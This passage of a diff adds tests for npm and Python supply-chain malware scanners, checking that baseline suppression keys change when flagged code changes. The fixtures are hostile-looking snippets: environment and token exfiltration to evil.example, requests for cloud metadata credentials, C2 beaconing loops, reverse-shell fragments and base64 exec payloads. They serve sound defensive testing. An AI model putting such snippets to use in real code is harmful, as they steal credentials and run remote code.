process.env.NPM_TOKEN\n" for i in range(total)) + ev = snp._evidence(body, snp._JS_ENV_TOKEN) + import re as _re + + m = _re.search(r"\(\+(\d+) more\)", ev) + assert m and int(m.group(1)) == extra # every over-cap match counted + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded + + +def _ioc_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/evil", + ) + + +def test_known_ioc_evidence_binds_context_not_bare_needle(): + # A known-ioc-string finding keys on the matched-line context, not the bare + # constant, so a changed adjacent fetch/exfil body on the same call reopens + # while the IOC needle stays in place. + ioc = next(iter(snp.KNOWN_IOC_STRINGS)) + old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n" + new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "known-ioc-string" + ][0] + + assert key(old) != key(new) + + +def test_always_bad_host_evidence_binds_outbound_context(): + # cred-surface-host (always-bad) binds the outbound call context, so altering + # the exfil body on the same call reopens the key instead of riding the bare + # host literal. + host = snp.CRED_HOST_ALWAYS_BAD[0][0] + old = f"fetch('https://{host}/x', {{body: secretOLD}})\n" + new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "cred-surface-host (always-bad)" + ][0] + + assert key(old) != key(new) + + +def test_outbound_host_config_reindent_is_stable(): + # A formatter-only reindent of the bound continuation lines must NOT change + # the key (whitespace is normalized before the logical-line digest). + tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + loose = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose)) + + +def test_evidence_preserves_intra_string_whitespace(): + # Whitespace OUTSIDE string literals is normalized (reindent-stable), but + # whitespace INSIDE a literal is preserved, so a changed payload body + # (body: 'a b' -> 'a b') reopens the key instead of being erased along with + # indentation. + a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b)) + + +def test_outbound_cred_surface_binds_context(): + # The outbound cred-surface host finding records the host WITH its URL path / + # fetch call, so changing the outbound path or headers reopens the key rather + # than riding the bare host literal. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n" + new = ( + "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', " + "{headers: steal})\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_load_baseline_skips_non_dict_entries(tmp_path): + # A malformed current-schema baseline (non-dict entries, or a non-object root) + # must not crash the loader; bad entries are skipped, valid ones still load. + bl = tmp_path / "bad.json" + bl.write_text( + json.dumps( + { + "version": snp._BASELINE_SCHEMA_VERSION, + "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}], + } + ), + encoding = "utf-8", + ) + keys = snp._load_baseline(str(bl)) + assert keys == {("p", "a.js", "x", snp._evidence_hash(""))} + # A non-object root is rejected with a warning, not a crash. + arr = tmp_path / "arr.json" + arr.write_text("[1, 2, 3]", encoding = "utf-8") + assert snp._load_baseline(str(arr)) == set() + + def test_legacy_schema_baseline_is_ignored(tmp_path): # A pre-v2 baseline stored basenames; its keys are ambiguous under # package-relative matching, so a populated legacy file is ignored (fail @@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path): assert snp._load_baseline(str(bl)) == set() +def test_v2_baseline_migrates_by_recomputing_hash(tmp_path): + # v2 shares v3's package-relative keying, so its entries migrate (the hash is + # recomputed from stored evidence) rather than being thrown away, matching the + # Python loader. An unchanged finding stays suppressed. + bl = tmp_path / "v2.json" + evidence = "fetch('http://ok')" + bl.write_text( + json.dumps( + { + "version": 2, + "entries": [ + { + "package": "left-pad", + "file": "package/dist/index.js", + "pattern": "obfuscated-blob", + "severity": snp.HIGH, + "evidence": evidence, + } + ], + } + ), + encoding = "utf-8", + ) + finding = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence + ) + assert snp._finding_key(finding) in snp._load_baseline(str(bl)) + + +def test_outbound_cred_surface_host_config_binds_full_context(): + # The host-config branch captures the whole line (path + headers), so changing + # the outbound headers/body on the same hostname line reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + path = "/latest/meta-data/iam/security-credentials/role-name" + old = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n" + ) + new = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + def test_committed_baseline_is_empty_and_valid(): # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean. path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json" diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py index 91331668d6..48e6da5f66 100644 --- a/tests/security/test_scan_packages.py +++ b/tests/security/test_scan_packages.py @@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live(): assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass") -def _mk(sev, pkg, fname, check): - return sp.Finding(sev, pkg, fname, check, "evidence") +def _mk( + sev, + pkg, + fname, + check, + evidence = "evidence", +): + return sp.Finding(sev, pkg, fname, check, evidence) def test_baseline_key_version_stable_but_path_specific(): a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X") b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X") - # Same package-relative path across versions -> same key (stable). + # Same package-relative path + same matched code across versions -> same key. assert sp._finding_key(a) == sp._finding_key(b) # Same basename in a different path -> different key (no over-suppression). c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X") assert sp._finding_key(a) != sp._finding_key(c) +def test_baseline_key_line_shift_stable_but_code_specific(): + # The evidence hash strips ``L:`` markers, so a benign upstream edit that + # only shifts line numbers keeps the key stable... + base = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies", + ) + shifted = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies", + ) + assert sp._finding_key(base) == sp._finding_key(shifted) + # ...but a NEW payload in the same file/check (different matched code) does + # not inherit the suppression -- this is the supply-chain bypass we close. + malicious = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + assert sp._finding_key(base) != sp._finding_key(malicious) + + +def test_extract_evidence_records_all_matches(): + # The whole point of P1: a match appended after the first few must show up + # in the evidence, so it changes the key instead of riding the earlier ones. + src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count("requests.get(") == 6 + + +def test_baseline_key_reopens_on_appended_match(): + # A reviewed file already trips a check with several matches; a later exfil + # call appended to the same file/check must reopen the finding. + base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3)) + payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)" + base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK)) + payload = _mk( + sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK) + ) + assert sp._finding_key(base) != sp._finding_key(payload) + + +def test_baseline_key_inner_line_marker_is_not_stripped(): + # Only the leading L: marker is dropped; an L: inside the matched + # code is part of the code, so changing it must reopen the finding... + a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'") + b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'") + assert sp._finding_key(a) != sp._finding_key(b) + # ...while only the leading marker (line number) changing stays stable. + c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'") + assert sp._finding_key(a) == sp._finding_key(c) + + +def test_baseline_key_indentation_is_significant(): + # Moving a flagged line out of a guarded block (dedent) changes executable + # context, so the same code at a different indent must reopen the finding. + guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + assert sp._finding_key(guarded) != sp._finding_key(top_level) + + +def test_canon_evidence_keeps_bitwise_or_in_a_span(): + # ' | ' only delimits spans when it precedes an L: marker; a pipe inside + # matched code (bitwise OR, typing.Union) is code, so changing an operand + # must reopen the finding instead of deduping to the same key. + a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC") + b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL") + assert sp._finding_key(a) != sp._finding_key(b) + # The OR survives canonicalization as one span (not split on the pipe). + assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y" + + +def test_extract_evidence_caps_long_line_but_binds_tail(): + # A long (e.g. minified) line is not dumped verbatim: the display is bounded to + # a prefix, but a sha256 of the full line is appended so a payload past the cut + # still changes the key instead of being silently clipped. + marker = "EXFIL_PAST_CAP" + pad = "# " + " " * 300 + line = "requests.get('http://a') " + pad + marker + ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK) + assert marker not in ev # tail past the cap is not shown verbatim + assert "sha256:" in ev # but it is pinned by a digest + assert len(ev) < len(line) # bounded, not the whole minified line + base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK) + assert sp._evidence_hash(ev) != sp._evidence_hash(base) + + +def test_extract_evidence_binds_call_continuation_past_12_lines(): + # A matched call that stays open well beyond the old 12-line continuation cap + # still binds its later arguments: a changed body on a deep continuation line + # (here ~22 lines in) must reopen instead of riding the first 12 lines. + head = "requests.post('http://h',\n" + middle = "".join(f" opt{i} = ({i}),\n" for i in range(20)) + old = head + middle + " data = {'x': 'old'},\n)\n" + new = head + middle + " data = {'x': 'evil'},\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_follows_backslash_continuation(): + # A call split with an explicit backslash before the parenthesis must still + # bind the continuation line, so changing the URL on the next physical line + # reopens instead of returning at the zero-depth API line. + old = "requests.post \\\n ('http://old/x', data = 1)\n" + new = "requests.post \\\n ('http://evil/x', data = 1)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_blanks_multiline_triple_string(): + # A ) inside a triple-quoted string argument must not close the call early; the + # data= after the closing triple-quote must still bind so a changed payload + # reopens (a per-line string blanker cannot mask a multi-line string). + old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n' + new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n' + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_binds_call_embedded_in_string(): + # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a + # setup.py payload) must still bind its argument lines. Blanking the multi-line + # string must not shrink the span below the legacy single-line view: the union + # of both views keeps the URL argument bound so a changed payload reopens. + src = ( + 'PAYLOAD = """\n' + "urllib.request.urlretrieve(\n" + ' "http://evil/old.pyz",\n' + ' "/tmp/x.pyz",\n' + ")\n" + '"""\n' + ) + eo = sp._extract_evidence(src, sp.RE_NETWORK) + en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK) + assert "L3" in eo # the URL argument line is bound, not just the API line + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_overflow_digest_is_line_shift_stable(): + # The overflow digest canonicalizes (strips L: markers), so inserting an + # unrelated line above the overflow region does not change it (line-shift + # stability), while a real payload change inside the overflow still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5)) + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + e_a = sp._extract_evidence(src, sp.RE_NETWORK) + assert "more) sha256:" in e_a + e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK) + assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest + e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens + + +def test_extract_evidence_overflow_is_streamed_and_bounded(): + # Past the display cap the evidence streams overflow spans into one digest + # instead of materializing a rendered span per match, so a file with far more + # matches than the cap yields a bounded string (at most cap spans plus the + # "(+N more)" digest line) while N counts every overflow match and a change to + # an over-cap match still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests + assert "(+500 more)" in ev # every match past the cap is counted + # bounded: exactly cap rendered spans plus the single "(+N more)" marker + assert len(ev.split(" | ")) == n + 1 + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(ev) != sha(chg) # an over-cap payload change reopens + + +def test_extract_evidence_same_line_close_then_open_binds_call(): + # A continued statement that closes on the same physical line that opens a + # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket + # count, dropping the call's `(` so the scan would stop at the opener line. + # Order-aware counting keeps the opener, so the argument lines bind and a + # changed body on a continuation line reopens. + old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n" + new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_backslash_continued_string_binds_tail(): + # A single-quoted string can continue across lines with a trailing backslash. + # The `)` inside that continued string on the next line must not be counted as + # code and close the call early, or a changed argument after it would not + # reopen. The blanker tracks the continuation so the whole call binds. + old = "requests.post('http://h\\\n/path)', data='old')\n" + new = "requests.post('http://h\\\n/path)', data='EVIL')\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_long_call_tail_past_soft_cap_reopens(): + # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still + # followed to its real close under the hard limit, so a changed payload on a + # continuation line well past the soft cap reopens instead of riding the first + # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap. + mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20)) + old = "requests.post(\n" + mid + "\n data='old',\n)\n" + new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_fallback_line_numbers_are_correct(): + # The DOTALL fallback maps match offsets to line numbers via precomputed + # newline offsets (bisect, not a quadratic content.count per match); guard that + # the mapping is exact so a cross-line match is recorded at its true line and a + # changed continuation reopens. + content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n" + e1 = sp._extract_evidence(content, sp.RE_C2_POLLING) + e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING) + assert "L3" in e1 # the while-True loop starts on line 3, not line 1 + assert sp._evidence_hash(e1) != sp._evidence_hash(e2) + + +def test_large_js_bundle_pins_whole_content_when_other_finding_fires(): + # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds + # the whole bundle, so changing payload code elsewhere (obfuscation line + # unchanged) reopens rather than riding the matched signature line. + obf = "var _0xabcd = function(){};\n" + pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar + fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg") + fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg") + co = [f for f in fo if "hex-var obfuscation" in f.check][0] + cn = [f for f in fn if "hex-var obfuscation" in f.check][0] + assert "bundle-sha256:" in co.evidence + assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence) + + +def test_pth_catch_all_import_evidence_is_bounded_but_reopens(): + # A large .pth made only of benign-looking imports is bounded in the evidence + # (prefix plus digest), not dumped in full, yet still reopens when an import + # line changes because the digest covers every line. + base = "".join(f"import mod{i}\n" for i in range(200)) + fo = [ + f + for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + fn = [ + f + for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + assert fo and fn + assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base) + assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence) + + +def test_extract_evidence_records_all_multiline_matches(): + # The DOTALL fallback must record every distinct cross-line match, so a second + # long-sleep appended below an already-flagged one reopens the finding. + one = "foo = time.sleep(\n 600\n)\n" + two = one + "bar = time.sleep(\n 900\n)\n" + ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS) + ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS) + assert ev2.count("time.sleep(") == 2 # both matches, not just the first + assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2) + + +def test_multiline_evidence_reopens_on_continuation_change(): + # A DOTALL match records every line it spans, so changing the URL inside an + # already-flagged C2 loop (a continuation line) reopens the finding... + old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n" + new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n" + fo = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(old, sp.RE_C2_POLLING), + ) + fn = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(new, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) != sp._finding_key(fn) + # ...while a benign line shift of the same loop stays stable. + shifted = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) == sp._finding_key(shifted) + + +def test_extract_evidence_bounds_pathological_multiline_span(): + # A greedy DOTALL span is capped to its head line plus a digest of the rest, + # so evidence stays bounded while still binding the full match. + big = "vmware\n" + "x\n" * 50 + "detect\n" + ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS) + assert "sha256:" in ev and ev.count("\n") <= 1 + + +def test_canon_evidence_keeps_duplicate_spans(): + # A second identical matched line in a new code path must change the key, so + # an appended duplicate payload occurrence is not deduped to the same hash. + one = " requests.post(url, data=env)" + base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}") + dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}") + assert sp._finding_key(base) != sp._finding_key(dup) + + +def test_canon_evidence_does_not_strip_inner_marker_from_raw_code(): + # Raw .pth evidence has no leading L: marker; an L:-looking substring + # inside the code must be kept, so changing the code before it reopens. + base = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import os; note='L7: same_suffix'", + ) + changed = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import urllib.request; note='L7: same_suffix'", + ) + assert sp._finding_key(base) != sp._finding_key(changed) + + +def test_capped_multiline_digest_is_line_shift_stable(): + # A span over the cap is digested from markerless code, so a pure line shift + # of the same span stays stable while a code change still reopens. + src = ( + "while True:\n" + + " x = 1\n" * 20 + + " time.sleep(60)\n requests.get('http://old.example/poll')\n" + ) + e1 = sp._extract_evidence(src, sp.RE_C2_POLLING) + e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING) + assert "sha256:" in e1 # span exceeded the cap + assert sp._evidence_hash(e1) == sp._evidence_hash(e2) + changed = src.replace("http://old.example/poll", "http://evil.example/c2") + assert sp._evidence_hash(e1) != sp._evidence_hash( + sp._extract_evidence(changed, sp.RE_C2_POLLING) + ) + + +def test_canon_evidence_strips_punctuation_label_marker(): + # A label with punctuation (network+exec:) must still be stripped, so the + # line number alone does not change the key. + a = "network+exec: L12: subprocess.run(['id'])" + b = "network+exec: L99: subprocess.run(['id'])" + assert sp._evidence_hash(a) == sp._evidence_hash(b) + + +def test_extract_evidence_binds_call_continuation_lines(): + # A multi-line network call binds its argument lines, so a changed URL on a + # continuation line reopens even though the line with the API name is unchanged. + old = "requests.post(\n 'http://old.example',\n data=env,\n)\n" + new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "old.example" in eo and "evil.example" in en + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_records_multiline_after_oneline(): + # A one-line C2 match no longer suppresses a later multi-line C2 loop: the + # appended cross-line construct is recorded too, so it cannot ride the key. + oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n" + appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING) + ea = sp._extract_evidence(appended, sp.RE_C2_POLLING) + assert "evil" in ea + assert sp._evidence_hash(eo) != sp._evidence_hash(ea) + + +def test_extract_evidence_giant_span_binds_full_interior(): + # A giant greedy DOTALL span bridging anchors across the whole file is bound by + # a digest of its full content (not just the outer anchors), so a cross-line + # payload inserted into the bridged interior between unchanged outer anchors + # reopens instead of riding the key. (Binding only head/tail would fail open on + # an interior insertion.) A pure line shift still stays stable. + gap = "\n".join(f" x = {i}" for i in range(70)) + base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n" + # interior insertion of a cross-line payload between the unchanged outer anchors + injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)") + ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL) + ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL) + assert "sha256:" in ea # full interior bound by a digest + assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens + shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL) + assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable + + +def test_extract_evidence_giant_span_appended_payload_reopens(): + # The anchor binding must reopen when an appended cross-line payload extends the + # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a + # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no + # single line so the per-line pass never binds them) moves the span's tail + # anchor, so the evidence changes instead of riding the unchanged key. + existing = "import os\n/tmp/x; subprocess.run(['id'])\n" + gap = "\n".join(f" pad{i} = {i}" for i in range(65)) + appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n" + base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC) + app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(base) != sp._evidence_hash(app) + # a pure line shift of the same payload does not reopen + shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(app) == sp._evidence_hash(shifted) + + +def test_hidden_payload_binds_visible_exec_trigger(): + # The hidden-payload finding binds the visible exec/eval line that makes the + # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which + # now runs the same hidden network+exec payload) reopens instead of riding the + # key on the unchanged hidden text. + hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n' + benign = hidden + 'eval("1+1")\n' + armed = hidden + "exec(__doc__)\n" + + def key(src): + return [ + sp._finding_key(f) + for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p") + if "hidden network+exec" in f.check + ][0] + + assert key(benign) != key(armed) + + +def test_js_finding_pins_full_content_digest(): + # A JS finding pins the full file content digest, so a backtick template literal + # that closes the bracket span early cannot let later option/body lines change + # without reopening (the Python-string-aware extractor would otherwise omit + # them). Holds for small files too, not just large bundles. + old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n" + new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n" + fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0] + fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0] + assert "bundle-sha256:" in fo.evidence + assert sp._finding_key(fo) != sp._finding_key(fn) + + +def test_extract_evidence_binds_moderate_appended_dotall_span(): + # A multi-line construct appended under a check that already has a one-line + # match is still recorded when it is not a giant whole-file bridge, so its + # payload reopens instead of riding the old one-line match. + one = "while True: time.sleep(60); requests.get('http://a/poll')\n" + gap = "\n".join(f" x = {i}" for i in range(20)) + old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n" + new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(old, sp.RE_C2_POLLING) + en = sp._extract_evidence(new, sp.RE_C2_POLLING) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_canon_evidence_reorder_reopens(): + # Reordering matched lines changes executable context, so the key reopens + # (the canon preserves discovery order rather than sorting). + a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()" + b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)" + assert sp._evidence_hash(a) != sp._evidence_hash(b) + + +def test_logical_line_end_ignores_brackets_in_strings(): + # A ) inside a string argument must not close the call early, so later + # argument lines still bind and a changed payload there reopens. + old = "requests.post('http://h/p)',\n data=secret_old,\n)\n" + new = "requests.post('http://h/p)',\n data=secret_new,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "data=secret_old" in eo + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_base64_exec_blob_finding_binds_every_blob(): + # The base64+exec+blob finding digests every blob, so appending a second + # encoded payload reopens even when the first blob and decode line are unchanged. + head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n" + old = head + new = head + "blob2 = '" + "B" * 220 + "'\n" + fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check] + fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_large_blob_finding_binds_every_blob(): + # The .pth large-blob finding digests every blob, so appending a second + # encoded payload reopens rather than riding the unchanged first blob. + old = "import os\n" + "X" * 220 + "\n" + new = old + "Y" * 220 + "\n" + fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check] + fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_unusually_large_finding_is_content_bound(): + # Two different payloads of equal size and import count must get different + # keys: the finding now pins the .pth content via a digest. + a = [ + f + for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + b = [ + f + for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + assert a and b + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_js_token_network_finding_binds_network_evidence(): + # The JS stealer 